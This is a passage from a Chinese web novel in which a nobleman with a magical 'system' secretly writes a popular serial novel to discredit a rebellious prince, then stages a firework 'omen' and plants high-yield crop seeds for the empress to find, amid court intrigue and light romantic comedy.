这般编排,简直是要将靖王彻底钉死在耻辱柱上!
此时她再次想起江凡,昨天明显是被小王爷的人偷袭的。
所以江凡同样恨靖王父子!
但他昨晚没有离开,身边的话本最新章节怎么解释?
当她看到后面关于‘天降祥瑞’、‘亩产数千斤神物’以及‘女主当国,天命所归’的情节时,她的脸色瞬间变得无比凝重!
眉头紧紧蹙起!
“天降祥瑞…亩产千斤…”
她喃喃自语,凤眸中闪过一丝恼怒,但更多的是一种忧虑!
这话本,看似在为她唱赞歌,实则将她架在了火上烤!
如今北方旱情未解,粮食短缺,民心浮动。
这话本将祥瑞、高产与她的‘天命’强行绑定。
若短期内找不到所谓的神物,拿不出实实在在的粮食,那些原本就对她女子身份不满的藩王、宗室、乃至朝中某些顽固派。
必然会借此大做文章,攻击她‘德不配位’,才导致‘上天不佑’,灾异连连!
届时,流言蜚语必将甚嚣尘上,她的统治基础将受到严重动摇!
这逍遥公子,到底是友是敌?
献上治策的是他,送上‘祥瑞’期望的是他,可如今这‘期望’,却成了一柄可能伤及自身的双刃剑!
她烦躁地放下话本,在寝宫内踱步。
此刻,她甚至有些希望,逍遥公子就是江凡了!
至少,江凡还在她的掌控范围之内,他的动机或许复杂,但似乎并无立刻颠覆她的意图。
若真是某个藏在暗处的神秘势力…那后果不堪设想!
“陛下,该准备早朝了。”
云暮的声音在门外响起。
萧璇月深吸一口气,强迫自己冷静下来。
无论如何,朝还是要上的。
她将话本小心收好,对云暮吩咐道:
“今日早朝,若有人提及天象、祥瑞之类的话题,一律给朕压下去!尤其是…关于亩产作物的无稽之谈,严禁在朝堂讨论!”
如今随着话本的热度提升,以及里面多次出现治国良策,很多官员也会第一时间收集最新章节。
“是,陛下。”
云暮虽不知具体缘由,但见女帝神色凝重,心知必有大事,连忙应下。
早朝之上,萧璇月端**,凤威凛冽,将一切政务处理得井井有条。
果然,有几个御史似乎也获得了话本最新章节,蠢蠢欲动地想借‘天象’说事。
但都被萧璇月或直接打断,或由心腹大臣引开话题,未能掀起波澜。
然而,退朝之后,萧璇月的心却并未轻松多少。
她知道,这话本的内容,就像一颗投入静湖的石子,涟漪早已扩散开去,绝非一道命令就能完全封锁的。
她现在必须争分夺秒!
必须在负面影响扩大之前,找到应对之策!
或者…找到那该死的逍遥公子!
她回到御书房,目光再次落在那本话本上,眼神变幻不定。
江凡…你昨晚,到底做了什么?
你真的只是躺在床上睡觉吗?
而此刻,在偏殿‘养伤’的江凡,刚刚睡醒,正美滋滋地看着系统中已经突破十二万大关的人气值,心里盘算着:
嗯,再加把劲,很快就能兑换宗师中期了!
到时候…靖王?
哼!
金銮殿上,气氛微妙。
眼看朝会即将结束,
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百官正准备行礼告退,殿外忽然传来内侍急促的通报声:
“启禀陛下!靖王殿下殿外求见!”
萧璇月凤眸微眯,心中冷笑:
来了!果然坐不住了!
她不动声色,淡然道:
“宣。”
只见靖王萧恒面色阴沉地走入殿中,虽依礼下拜,但眉宇间的戾气却难以掩饰:
“臣萧恒,参见陛下!”
“皇叔平身。”萧璇月语气平和,“皇叔匆匆入宫,所为何事?”
靖王站起身,也懒得拐弯抹角,直接开门见山,声音带着压抑的愤怒:
“陛下!近日市井流传一本名为《深宫秘恋》的污秽话本,其中内容荒诞不经,极尽诽谤之能事!
尤其…尤其对臣极尽污蔑之词!竟敢妄议臣之出身,污蔑臣谋害朝臣!此等狂徒,目无君上,动摇国本,实乃十恶不赦!
恳请陛下下旨,严查此獠,将其缉拿归案,明正典刑!并全国封禁此话本,以正视听!”
自从在百花楼得罪了‘逍遥公子’之后,最近的章节对他这位靖王极尽污蔑之事。
最可气的是这话本每天都是凭空出现的,自从他开始关注之后,最新章节更是直接出现在他的枕边。
一开始他也吓坏了,让高手守在床边。
可依然没有发现任何人,而话本照常出现。
能将话本无声无息送到他床边,那会不会无声无息要了自己脑袋?
他又惊又怒,尤其是看了话本里的内容,更是七窍生烟,直接破防。
虽然他有反心,这些年也在暗中积蓄力量,甚至有意无意的在百姓面前装成贤王的样子。
但这话本一出现,短短两三天,就让他成为整个大夏百姓心目中的‘反派’。
要说他不生气肯定是骗人的,如果能抓到逍遥公子,他恨不得食其肉喝其血!
满朝文武顿时鸦雀无声,不少官员低下头,眼神闪烁。
这话本他们大多看过,一些高级官员每天也能准时收到最新章节。
其中对‘靖南王’的指控确实骇人听闻,虽明知是小说家言,但影射的是谁,大家心知肚明。
大臣们吃瓜的同时,心中也有些害怕。
鬼知道下一个反派会不会变成自己?
第073章 等晚上收网
此刻靖王亲自上殿哭诉,这戏可就精彩了。
萧璇月心中明镜似的,知道靖王这是被戳到了痛处,狗急跳墙了。
这家伙自从自己登基以来,就是阳奉阴违,而暗卫调查到他的确很有反心。
只是,现在还不是撕破脸的时候。
要清理一个藩王,必须要足够的证据。
她面上却露出恰到好处的疑惑与宽和:
“哦?竟有此事?朕近日忙于政务,倒未留意这些市井闲书。皇叔乃国之柱石,皇室宗亲,身份尊贵,岂是区区话本所能诋毁?
依朕看,不过是些无聊文人为了博人眼球,信口雌黄罢了。皇叔何必与一介草民一般见识?
清者自清,浊者自浊。只要皇叔行得正坐得直,问心无愧,些许流言,何足挂齿?反倒显得我天家气量狭小了。”
她这番话,看似安抚,实则绵里藏针,既点明了‘清者自清’,又暗指靖王若反应过度便是‘气量狭小’。
靖王被噎得脸色一阵青一阵白,他没想到女帝会是这般轻描淡写的态度!
他强压怒火,咬牙道:
“陛下!此话本流传甚广,影响极坏!若任其蔓延,恐损朝廷威严,乱民心智啊!”
“皇叔多虑了。”
萧璇月摆摆手,语气转淡,
“百姓自有明辨是非之能。若因一本虚构小说便对朝廷、对宗室失去信心,那这民心…未免也太不牢靠了。
此事朕知道了,会着人留意。若那作者果真有不臣之心,朕绝不轻饶。退下吧。”
她直接下了逐客令,态度明确:
不支持,不鼓励,但也不会为你靖王兴师动众。
靖王碰了个软钉子,胸中怒火翻腾,却不敢在朝堂上发作,只得狠狠瞪了女帝一眼,从牙缝里挤出三个字:
“臣…告退!”
说罢,重重一拂袖,转身大步离去,那背影充满了憋屈和愤恨。
走出殿门,他心中已然发下毒誓:逍遥公子!
不管你藏身何处,本王定要将你揪出来,抽筋扒皮,**万段!
早知今日,当初在百花楼,就该不惜一切代价将你铲除!
女帝的反对也不出他的意料,他本就对这个侄女登基不服,一直在找机会将皇位夺过来。
现在话本对他的污蔑,女帝自然乐得看到他声名狼藉。
但他靖王可不是会认命的人!
既然女帝不愿意追查,那就自己来!
其余大臣也各怀心思,有的担心自己成为逍遥公子笔下的反派,更多的人却在猜测,话本是不是女帝找人弄的?
为的就是通过这种方式,慢慢巩固政权?
要说最懊悔的,还是宰相为首的一群官员。
当初话本出现的第一时间,女帝就破防,要严查话本的来源和作者。
结果他们拼命阻拦。
现在倒好,女帝反而支持,他们开始破防,甚至每天还提心吊胆的...
退朝后,萧璇月处理完几件紧急政务,便起身前往江凡‘养伤’的偏殿。
她心中疑团未解,想去看看那小子在搞什么名堂。
偏殿内,江凡正半靠在榻上,捧着一本闲书做样子,见女帝进来,连忙挣扎着要起身行礼。
“爱卿有伤在身,不必多礼。”
萧璇月虚扶一下,走到榻前,目光看似随意地扫过房间。
桌椅、书架、茶几…干净整洁,并无任何笔墨纸砚的踪迹,甚至连一张废纸都看不到。
她心中疑窦更深,面上却不动声色,温声问道:
“江爱卿,伤势可好些了?昨夜…休息得可还安稳?”
她特意加重了‘昨夜’二字。
江凡脸上堆起感激的笑容:
“劳陛下挂心,张太医医术高明,臣已感觉好多了。昨夜…托陛下的福,睡得还算踏实,就是…伤口偶尔还有些隐痛。”
他演技精湛,语气虚弱中带着真诚,毫无破绽。
萧璇月盯着他的眼睛,试图从中找出一丝慌乱或掩饰,但那双桃花眼清澈见底,实在找不到破绽。
她心中更加困惑:若他真是逍遥公子,写作需要工具,大量抄写需要时间。
他重伤在身,是如何在暗卫眼皮底下完成的?
难道…真不是他?
可那话本每次出现的时间点,又为何如此巧合?
她越想越觉得扑朔迷离,心情没来由地一阵烦躁。
就算想破脑袋,也想不到江凡有系统有空间。
恰在此时,江凡小心翼翼地开口:
“陛下,臣…臣在宫中养伤,虽得陛下隆恩,但终究不便久留。
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臣想…恳请陛下恩准,容臣回府调养,也好…也好让家人安心。”
萧璇月正心烦意乱,见他主动提出离宫,也懒得再多想,便挥挥手道:
“既然如此,爱卿便回府好生将养吧。朕准你休沐三日,三日后…视情况再议。”
她需要时间理清头绪,也需要空间布控,查明逍遥公子的真相。
“臣谢陛下恩典!”
江凡心中暗喜,连忙谢恩。
很快,江凡便被宫女内侍妥善送回了镇国公府。
半个时辰后。
江芷兰见弟弟‘负伤’回府,又是心疼又是埋怨,好生安排他住下,严令其卧床静养。
然而,江凡哪是闲得住的人?
一回到自己的听雨轩,锁好房门,他立刻精神抖擞地跳下床!
休沐三日?
正好!天赐良机!
他迅速易容成一个相貌普通、毫不起眼的货郎模样,悄无声息地溜出府邸。
专挑偏僻小巷穿行,最终来到了南城一处早已废弃多年的破败土地庙。
这里荒草丛生,人迹罕至,正是‘藏宝’的好地方。
他仔细探查四周,确认无人跟踪后,心念一动:
【系统,兑换优质土豆种薯5000斤!红薯种苗5000斤!玉米种子5000斤!】
虽然花费了不少人气值,但为了接下来的大计,值得!
光芒一闪,一袋袋沉甸甸的作物种子便出现在破庙角落。
江凡仔细掩盖好痕迹,不留任何破绽,然后迅速离开。
做完这一切,他心中大定!
饵已布下,只等晚上收网!
与此同时,皇宫大内,萧璇月也没闲着。
她秘密召见暗卫统领,增派了大量人手,一方面严密监控靖王府的一举一动。
另一方面,则撒开大网,在整个京城乃至周边州县,秘密搜寻一切与‘逍遥公子’相关的蛛丝马迹。
她倒要看看,这个神出鬼没的家伙,到底是人是鬼!
而云暮则奉命,加派人手,对刚刚回府的江凡,也进行了更隐蔽的监视。
一时间,京城内外,暗流汹涌,一种山雨欲来的压抑感悄然弥漫开来。
是夜,月黑风高。
子时刚过,整个京城都陷入了沉睡。
突然——
第074章 乃国之大幸
咻——嘭!!!
一道刺眼的亮光撕裂夜幕,带着尖锐的呼啸声,猛地窜上南城废弃土地庙上空,轰然炸开!
化作一团巨大无比、绚丽夺目、形似巨大麦穗与累累硕果交织的奇异图案!
光芒将半边天空都映照得如同白昼!
那震耳欲聋的巨响和前所未见的璀璨光华,瞬间惊醒了全城熟睡中的百姓!
“天啊!那是什么?!”
“流星?!不对!是…是神仙显灵了?!”
“快看!像麦子!像…像瓜果!在天上炸开了!”
“祥瑞!这是天降祥瑞啊!!”
“这好像最近那本话本里出现的场景,难道是一种祥瑞预兆?”
无数人披衣而起,涌上街头,惊恐又兴奋地指着南城天空那渐渐消散的光尾,议论纷纷,骚动不已!
许多老人更是直接跪地叩拜,口称‘老天爷显灵’!
紫宸宫内,萧璇月本就心绪不宁,尚未安寝,闻声立刻推开窗户,恰好看到那璀璨‘麦穗’在夜空中绽放的最后一幕!
她凤眸骤然收缩,心脏狂跳!
来了!
果然来了!
和话本里预言的一模一样!
天降异象!
“云暮!”她疾声喝道,
“速派禁军,封锁南城土地庙周边!朕要亲自前去!”
“陛下!夜深危险!”云暮劝阻。
“必须去!这是天赐良机!”
萧璇月语气斩钉截铁,眼中闪烁着激动与决然的光芒。
她心跳有些加快,如果这也是逍遥公子弄出来的动静,那这家伙的本事还远超她的预料。
现在要确定的,就是逍遥公子是不是真的要帮她!
她迅速换上便装,在云暮和大量精锐禁军的护卫下,火速赶往南城。
当她们抵达那片荒芜的土地庙时,周围早已被禁军团团围住,闲杂人等一律驱离。
萧璇月踏入破庙,目光立刻被角落草堆下那几大袋鼓鼓囊囊的东西吸引!
她快步上前,亲手扒开干草,露出里面饱满的土豆、鲜嫩的红薯苗和金灿灿的玉米粒!
形状、色泽,与话本中描述的‘天降神物’分毫不差!
“找到了!真的找到了!”
萧璇月拿起一个沾着泥土的土豆,感受着那沉甸甸的分量,激动得指尖都在微微颤抖!
她环顾四周,除了这些种子,并无他物,更没有所谓‘神仙’的踪影。
但这已经足够了!
“天佑大夏!天佑朕躬!”
她仰头望着夜空,虽然烟花早已散去,但她眼中却充满了前所未有的自信与光芒!
“速将这些…祥瑞之种,小心运回皇庄!命最好的农官,按…按古籍所载之法,即刻试种!不得有误!”
她刻意强调‘古籍所载’,将功劳归于上天和‘古籍’。
“是!陛下!”
随行官员和禁军将领无不振奋,齐声应诺。
经过一整天发酵,绝大部分官员都知道话本里的情节。
本来今天早朝还有人想借话本内容,说女帝不配得到上天眷顾。
现在好了,竟然真的天降祥瑞,送给大夏国这些高产的农作物种子。
以后百姓肯定会觉得女帝是天选之人,谁也无法撼动她的皇位。
至于某些有异心的藩王,想推翻女帝就更难了!
回宫的路上,萧璇月心潮澎湃,久久不能平静。
烟花异象,万民目睹;高产作物,实实在在!
这一切,都与逍遥公子话本中的预言完美契合!
从此刻起,她‘天命所归’的身份,将再无人可以质疑!
那些关于‘女主祸国’的流言,将不攻自破!
藩王们想借此生事?
门都没有!
直到此刻,她心中对‘逍遥公子’的最后一丝疑虑和戒备,终于烟消云散!
无论他是不是江凡,无论他有何种神通手段,他献上的这一份份‘大礼’,的的确确是在帮她稳固江山,造福黎民!
此人,是友非敌!
而且,是足以扭转国运的‘国士’!
“云暮,”她轻声对身边的侍女说道,
“传令下去,对逍遥公子…的搜寻,可以暂缓了。重点,放在保护这些‘祥瑞’种子,以及…盯紧靖王和其他藩王的动静上。”
她嘴角勾起一抹意味深长的笑容,
“朕现在,倒是很期待,这位‘逍遥公子’接下来,还会给朕…和这天下,带来怎样的惊喜了。”
当今
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日的事情传播出去,藩王们肯定坐不住。
只要他们敢轻举妄动,必然迎接她的严厉打击!
而此刻,江凡暗中看着女帝的人马将种子运走,听着远处隐隐传来的百姓欢呼声,满意地打了个哈欠,王镇国公府返回。
深藏功与名,闷声发大财,才是王道啊!
就算哪天身份暴露,凭借今天的功劳,女帝应该不会凌迟自己。
嗯,他帮女帝是次要的,主要就是要通过女帝对付靖王。
老爹早就说过,靖王是很有野心的。
之前想拉拢镇国公,但他老爹没有答应。
现在自己先通过话本献上推恩令,又映射抹黑他,最后献上这些高产作物。
他相信靖王很快就要狗急跳墙,提前发动计划。
而他就是要等靖王急着作死!
翌日,黎明。
紫宸殿,钟鼓齐鸣。
文武百官鱼贯而入,分列两班。
萧璇月端**,凤眸扫过下方,将众人的神色尽收眼底。
她今日气色极佳,容光焕发。
昨夜‘天降祥瑞’的轰动效应,经过一夜发酵,已如野火般传遍京城每个角落,她此刻已然稳坐‘天命所归’的**制高点。
“有本启奏,无本退朝!”
掌印太监尖细的唱喥声响起。
话音刚落,礼部尚书便迫不及待地出列,手持玉笏,声音微微颤抖:
“陛下!臣有本奏!昨夜南城天际异象,金光冲霄,嘉禾显形,万民目睹,此乃千古未有之祥瑞!
昭示陛下乃真龙天子,得上天眷顾,佑我大夏国运昌隆!臣恳请陛下,昭告天下,并择吉日祭天,以谢天恩!”
他这一开头,顿时引来一片附和之声。
“臣附议!天降祥瑞,此乃国之大幸!陛下圣德感天,方有此兆!”
“陛下,如今旱情未解,民心浮动,此祥瑞正可安定人心,鼓舞士气!”
“臣听闻,陛下已于祥瑞降临处寻得数种神物种子,亩产可达数千斤?若此事为真,实乃解我大夏粮荒之万年基业啊!陛下洪福齐天!”
一时间,**之声不绝于耳。
许多原本中立或暗怀心思的官员,此刻也纷纷表态,语气真诚了许多。
第075章 反正她不在
‘吃饱饭’是最大的民心,女帝若真能解决粮食问题,其威望将无人能及!
跟女帝心情截然不同的,就是此刻待在靖王府的靖王萧恒。
他此时脸色阴沉得能滴出水来。
他昨夜自然也看到了那诡异的‘天象’,初时惊疑,随后便是滔天的怒火与寒意!
他几乎可以肯定,这绝对是那个阴魂不散的‘逍遥公子’搞的鬼!
结合昨日朝堂上女帝那含糊其辞、甚至隐隐偏袒的态度,他心中已然明了:
女帝与那逍遥公子,即便不是一伙,也定然达成了某种默契!
这‘祥瑞’,分明是冲着他来的!
是要彻底坐实他‘乱臣贼子’的名声,稳固她萧璇月的皇位!
他死死攥着拳,额头青筋直跳。
“该死的逍遥公子!竟然真的能弄出天象和高产作物!”
随后他压下火气:“来人,将几位幕僚请来!”
.....
皇宫。
龙椅上,萧璇月看着底下群情振奋的场面,心中畅快无比。
她轻轻抬手,压下喧哗,声音充满威严:
“众卿平身。天降祥瑞,确乃国之大幸。然,上天垂怜,非为朕一人之功,乃因我大夏子民心向朝廷,百官用命!至于那几种新作物…”
她顿了顿,目光扫过全场,
“朕已命人仔细查验,其形态特性,与古籍记载及…近日市井流传之言,颇为吻合。朕已下令:即刻于皇庄辟出良田,由司农寺精干人手。
按…按古籍所载秘法,精心培育!若果真能亩产数千斤,解万民饥馑,方不负上天厚爱!届时,朕定当率文武百官,祭告天地宗庙!”
“陛下圣明!”
百官再次山呼,情绪高涨。
萧璇月微微颔首,目光似是不经意地扫过那个空着的位置——那是江凡作为起居郎的站位。
今日他‘养伤’未至。
不知怎的,没看到那小子耷拉着脑袋、强打精神站班的样子,她竟觉得这朝堂似乎…冷清了几分?
退朝之后,萧璇月心情极佳,回到御书房,迅速批阅了几份紧急奏章。
处理完毕,她放下朱笔,对侍立一旁的云暮道:
“更衣,朕要出宫一趟。”
云暮微微一怔:“陛下要去何处?”
萧璇月站起身,走到窗边,望着镇国公府的方向,嘴角勾起一抹笑意:
“镇国公世子‘重伤’在身,朕…去看看朕的起居郎恢复得如何了。顺便…也去看看芷兰姐姐。”
云暮心领神会,垂首道:
“是,陛下。”
虽然云暮也觉得江凡可能不是逍遥公子,但女帝明显对江凡有了不同于别的官员的兴趣。
或许,是个好事。
她立刻取来两套寻常富家公子小姐的便服,伺候女帝换上。
片刻后,一位翩翩佳公子与一位清秀侍女便悄然从皇宫侧门而出,融入了京城熙攘的人流。
……
镇国公府,听雨轩。
日上三竿,江凡还四仰八叉地躺在床上,睡得天昏地暗。
他正梦见自己兑换了仙丹,一脚踹开紫宸殿大门,把辞职信拍在女帝桌上,然后带着无数金银财宝和漂亮小姐姐们泛舟西湖,逍遥快活…
“凡儿!凡儿!快起来!”
姐姐江芷兰带着笑意的声音将他从美梦中惊醒。
江凡迷迷糊糊地睁开眼,没好气地嘟囔:
“姐…干嘛呀…让我再睡会儿…”
好不容易不上朝,睡个懒觉容易吗?
“还睡!快起来!婉茹妹妹来看你了!”
江芷兰推门进来,脸上带着促狭的笑容,
“人家姑娘家主动上门,你倒好,睡得跟小猪似的!快起来梳洗!”
周婉如?
江凡一个激灵,瞬间睡意全无!
这女人怎么又来了?
不是已经婚事搁置了吗?
他猛地坐起身,抓了抓乱糟糟的头发,一脸苦相:
“姐!我…我伤口还疼着呢!需要静养!你…你帮我打发她走吧!就说我还没醒!”
“胡说!张太医都说你已无大碍,静养即可,又不是不能见人!”
江芷兰嗔怪地瞪了他一眼,一把掀开被子,
“婉茹妹妹知书达理,特意来看你,你怎能如此怠慢?快起来!”
“老姐,我不是小孩子了,要是我没穿裤子...”
“小样儿?你身上哪里姐姐没看过?赶紧滚起来洗漱!”
江凡欲哭无泪,正想再找借口,就听门外传来丫鬟的声音:
“世子爷,大小姐,周小姐到院门口了。”
完了!跑不掉了!
江凡哀嚎一声,
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只得认命地爬起来,手忙脚乱地套上外袍,随便抹了把脸。
头发也懒得仔细梳,故意弄得有些凌乱,营造出一种‘颓废’的纨绔形象,希望能把周婉如‘恶心’走。
他磨磨蹭蹭地走出房门,果然看到周婉如一袭水绿色衣裙,正俏生生地站在院中的海棠树下,手中还提着一个精致的食盒。
见到他出来,周婉如脸上飞起两朵红云,盈盈一福:
“世子爷。”
“周…周小姐。”
江凡干巴巴地回礼,眼神躲闪。
该说不说,周婉如长得漂亮,性格文静,知书达理,当老婆还是很合适的。
但眼下他只想拼命赚人气提升修为,根本没考虑成亲的事情。
周婉如走上前,将食盒递上,声音轻柔:
“听闻世子爷身子不适,婉茹亲手炖了些冰糖燕窝,最是温补,望世子爷莫要嫌弃。”
她抬起眼,看着江凡头发蓬乱、眼神闪烁的样子,非但没有嫌弃,眼中反而闪过一丝心疼?
她轻声道:
“世子爷…可是还在生婉茹的气?所以…才一直躲着婉茹?甚至…还求了陛下,暂缓了我们的婚事?”
她的声音带着一丝委屈。
江凡心里咯噔一下,她知道了?
也是,女帝开口就是金口玉言,周婉如的老爹怎么能不重视?
他连忙摆手,挤出一个比哭还难看的笑容:
“没有没有!绝对没有!周小姐你千万别误会!我…我怎么会生你的气呢?是…是我觉得自己实在配不上你!
你看我,文不成武不就,就是个混吃等死的料!陛下…陛下也是觉得我年纪尚小,不堪大任,想让我再多历练几年,免得…免得耽误了你的终身幸福!”
他一边说,一边偷偷观察周婉如的脸色,见对方眼圈微微发红,心中更是愧疚。
但为了自由,只能硬着头皮继续‘自黑’:
“再说,陛下如今器重我,让我在身边当差,责任重大!我…我要是成了亲,整天惦记着家里,哪还有心思为陛下分忧?
岂不是辜负了圣恩?所以…所以这婚事,暂时…暂时还是算了吧!”
他巧妙地把锅甩给了女帝,反正女帝不在这里,没法对质。
既然女帝不答应自己辞职回家,那背点儿黑锅是应该的!
第076章 效率太低了
周婉如静静地看着他,贝齿轻轻咬着下唇,半晌,才幽幽叹了口气:
“世子爷何必妄自菲薄?婉茹…从未觉得世子爷配不上我。至于陛下器重…那是好事,婉茹只会为世子爷高兴,又怎会成为你的拖累?”
她顿了顿,抬起美眸直视着江凡,
“还是说…世子爷心中,早已有了…更中意的人选?比如…百花楼的柳大家?”
“噗——咳咳咳!”
江凡差点被自己的口水呛死!
怎么又扯到柳絮了?
他连忙否认三连:
“没有!绝对没有!柳大家可看不上我这种纨绔!我心中…我心中只有…只有陛下交代的差事!”
他情急之下,再次把女帝抬出来当挡箭牌:
“实不相瞒,是女帝下令搁置我们婚事的,所以...”
就在这时,一名门房管事气喘吁吁地跑来,对着江芷兰和江凡躬身道:
“大小姐,世子爷!门外…门外有贵客到访!是…是宫里的萧公子和云姑娘!”
萧公子?女帝?!
江凡脑子里‘嗡’的一声,瞬间石化!
她她她…她怎么来了?
早不来晚不来,偏偏在自己拿她当挡箭牌的时候来?
江芷兰也是吃了一惊,连忙对周婉如道:
“婉茹妹妹,你先随丫鬟去花厅稍坐。”
然后狠狠瞪了还处于呆滞状态的江凡一眼,
“还愣着干什么!快去换身整齐衣裳!随我出去迎驾!”
宫里来的,又姓萧,用脚指头想都知道肯定是女帝。
江凡欲哭无泪,只能哭丧着脸,被姐姐连推带搡地赶回房间。
当他磨磨蹭蹭地跟着姐姐来到府门口时,果然看到那一身月白儒衫、手持折扇、风度翩翩的‘萧公子’(萧璇月)正含笑而立。
身旁跟着作小厮打扮、低眉顺眼的云暮。
而周婉如,显然也被这突如其来的‘贵客’惊动,正站在不远处,好奇地打量着这两位气质不凡的‘陌生人’。
“草民(臣女)参见萧公子!”
“江小姐,周小姐不必多礼。”
萧璇月微微一笑,目光却似笑非笑地落在了恨不得把自己缩成一团的江凡身上,
“江兄,多日不见,别来无恙?听闻兄台身体不适,在下特来探望。”
她语气轻松,仿佛真是好友串门。
江凡头皮发麻,硬着头皮上前,挤出一个比哭还难看的笑容,躬身道:
“萧公子大驾光临,寒舍蓬荜生辉!小弟…小弟有失远迎,还望公子恕罪!”
他偷偷抬眼瞄了女帝一下,见她脸上带着玩味的笑容,心里更是七上八下。
这女帝真是闲的,退朝后没有奏折处理吗?
昨晚给你的粮食种子,不去看着吗?
跑国公府来做什么?
萧璇月将他那副心虚的样子尽收眼底,心中暗笑,面上却故作惊讶地看向一旁的周婉如:
“哦?这位小姐是…?”江芷兰连忙介绍:
“回公子,这位是吏部周主事家的婉茹小姐。”
江芷兰自然是认出了女帝,也想问问为什么要暂停弟弟和周婉如的婚约,于是补充道:
“周小姐也是我弟弟的未婚妻,只是陛下不知为何,竟然答应我这混账弟弟暂停婚约。”
“未婚妻?”
萧璇月眉梢微挑,目光定格在江凡那尴尬的脸上,拖长了音调,
“这就要问问江兄,女帝为什么要暂停你们的婚事了!或许是江兄弟周小姐不满意吧!”
反正这锅她肯定不背!
江凡脸一黑,要是女帝不在还能甩锅给她。
可现在当面对质,他哪里敢说女帝半个字?
于是连忙解释道:
“萧公子误会了!小弟对周小姐…那是…那是一万个满意!只是…只是小弟深感陛下隆恩,重任在肩,唯恐…
唯恐沉溺儿女私情,耽误了朝廷大事!这才…这才想暂且以国事为重!绝无半分嫌弃周小姐之意啊!”
他一边说,一边拼命对女帝使眼色,祈求她高抬贵手。
好歹在你身边做事的,就不能帮我分担一点?
萧璇月看着他这副拼命找补的样子,心中也感觉好笑。
她见好就收,不再穷追猛打,转而笑道:
“江兄忠君爱国,心系社稷,实乃我辈楷模。周小姐深明大义,更是难得。既然如此,婚事暂且延后。
待江兄为陛下立下大功,再风风光光迎娶周小姐过门,岂不更是一段佳话?”
她这话,既全了周婉如的面子,又给了江凡台阶下。
江芷兰和周婉如闻言,脸色也缓和了不少。
周婉如更是偷
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偷松了口气,她也不傻,能让国公府的大小姐和世子爷如此恭敬的,自然是女帝陛下。
只是女帝现在以‘萧公子’的身份出现,自然没有人拆穿她们。
江凡也如蒙大赦,连忙顺着杆子爬:
“萧公子所言极是!极是!小弟一定努力办差,绝不辜负陛下和…和婉茹姑娘的期望!”
心里却大骂女帝狡猾,这是逼着自己以后得真干出点成绩来,不然这婚怕是退不掉了!
萧璇月满意地点点头,不再纠结这个话题,对江凡道:
“江兄,今日天气甚好,闲来无事,不如陪在下出城走走?听闻京郊皇庄新得了些稀罕作物,正要试种,一起去瞧瞧?”
江凡心里是一百个不愿意!
他刚摆脱周婉如,只想回房补觉或者琢磨怎么赚人气值,谁要陪你去视察农田啊!
但他敢说不吗?
显然不敢。
他只能硬着头皮,脸上堆起‘荣幸之至’的笑容,却贱兮兮的说道:
“萧公子既然开口,小弟自然乐意奉陪到底。”
萧璇月自然听不出这话有什么不对劲,对他的表现十分满意。
于是,江凡辞别了姐姐和眼神复杂的周婉如,跟着女帝和云暮,再次踏上了‘陪逛’之路。
只是这次,他感觉每一步都有气无力。
三人乘坐一辆普通的青篷马车,出了城门,直奔京郊的皇家田庄。
一路上,萧璇月看似随意地询问江凡对那几种‘天降祥瑞’的看法,种植上可有建议。
江凡牢记纨绔人设,把头摇得像拨浪鼓:
“萧公子说笑了!小弟我五谷不分,四肢不勤,哪懂什么种植之道?能认得稻子和麦子就不错了!
这些神物…想必自有其神奇之处,交给司农寺的专家们操心便是。”
他嘴上这么说,眼睛却不由自主地瞟向窗外田野里正在劳作的农夫,以及他们手中那些简陋笨重的直辕犁、耒耜等农具,眉头几不可察地皱了一下。
效率太低了!
若是能把曲辕犁甚至更先进的农具‘弄’出来,开荒和耕作效率能提升数倍不止!
嗯…这个点子不错,今晚的话本有素材了!
萧璇月将他的小动作尽收眼底,心中忍不住嘀咕:若他不是逍遥公子,那现在皱眉想什么呢?
第077章 玩什么花样
萧璇月也不深究,只是淡淡道:
“江兄过谦了。听闻江兄往日…交友广阔,见识不凡,或许偶有奇思妙想,也未可知。”
江凡干笑两声,不敢接话。
自己要是没有系统,就是十足的纨绔,有个屁的见识。
到了皇庄,管事早已得到消息,恭恭敬敬地将三人引至一片刚刚平整好的肥沃田地旁。
只见几十名经验丰富的老农和司农寺的官员正在忙碌,小心翼翼地将土豆切块、红薯埋藤、玉米点种。
每一步都严格按照‘古籍’(实为话本)记载的方法操作。
萧璇月负手而立,看着眼前热火朝天的景象,凤眸中闪烁着期待的光芒。
她随手抓起一把泥土,轻声对身边的江凡道:
“江兄,你看,若这些种子真能如话本…如古籍所言,亩产数千斤,不出数年,我大夏将再无饥馑之患。届时,四海升平,百姓安居乐业…该是何等光景。”
她的声音很轻,带着一丝向往和疲惫。
身为帝王,尤其是女帝,她肩上的担子太重了。
天灾、人祸、边境、藩王…每一样都足以让她心力交瘁。
这‘祥瑞’的出现,让她感觉压力小了很多。
江凡站在她身侧,看着阳光下她微微蹙起的眉头和略显单薄的背影,心中某根弦似乎被轻轻拨动了一下。
抛开身份不谈,她也不过是个二十出头的女子,却要独自扛起这**江山。
自己虽然整天想着摸鱼罢官,但似乎也在不知不觉中,帮她分担了一些?
这种感觉有点奇怪。
他鬼使神差地脱口而出:
“陛下…呃,萧公子洪福齐天,励精图治,此等利国利民之神物,定能成功推广。我大夏…定会越来越好的。
只是百姓能吃饱饭可无法四海升平,如果没有足够的实力,对于虎视眈眈的敌国,我们不过是个随时能劫掠的粮仓...”
话没说完,他心中一惊,连忙把剩下的话咽回肚子。
这不符合他‘纨绔’的人设啊!
萧璇月闻言,讶异地侧过头,看向江凡。
阳光洒在他脸上,那双总是带着几分惫懒和狡黠的桃花眼里,此刻竟难得地透着一丝真诚?
她的心微微一动,一股暖流悄然划过。
这小子偶尔也会说句人话,而江凡的担忧不无道理。
百姓能吃饱,只是不会**。
国家要是没有足够的实力,的确会沦为邻国的粮仓,随时可以劫掠。
她嘴角不自觉地上扬,语气也柔和了许多:
“借江兄吉言,只要百姓和士兵能吃饱,我们大夏自然会越来越强大的。”
江凡不敢接话,免得说多错多。
萧璇月也没有多说,两人在庄子里转了一圈后,便准备打道回府。
回程的马车上,她似乎心情不错,看着一旁又开始打哈欠的江凡,忽然问道:
“江兄,你的伤势恢复得如何了?明日可能上朝?”
江凡闻言想都没想就诉苦道:
“劳潇公子挂心,唉,还是老样子,胸口闷得慌,头晕眼花,怕是还得将养些时日…”
他准备再赖几天假。
谁知,萧璇月闻言,立即笑眯眯的说道:
“既如此,那更该活动活动筋骨,透透气!明日早朝,准时点卯!若敢迟到…朕…真就要考虑让你去边关历练历练了!”
江凡:“啥玩意?”
他猛地抬头,对上女帝那双带着戏谑和警告的凤眸,脸瞬间垮了下来。
擦,你就直接点名要我明天上朝好了,还假惺惺问我伤势做什么?
反正怎么回答都躲不掉!
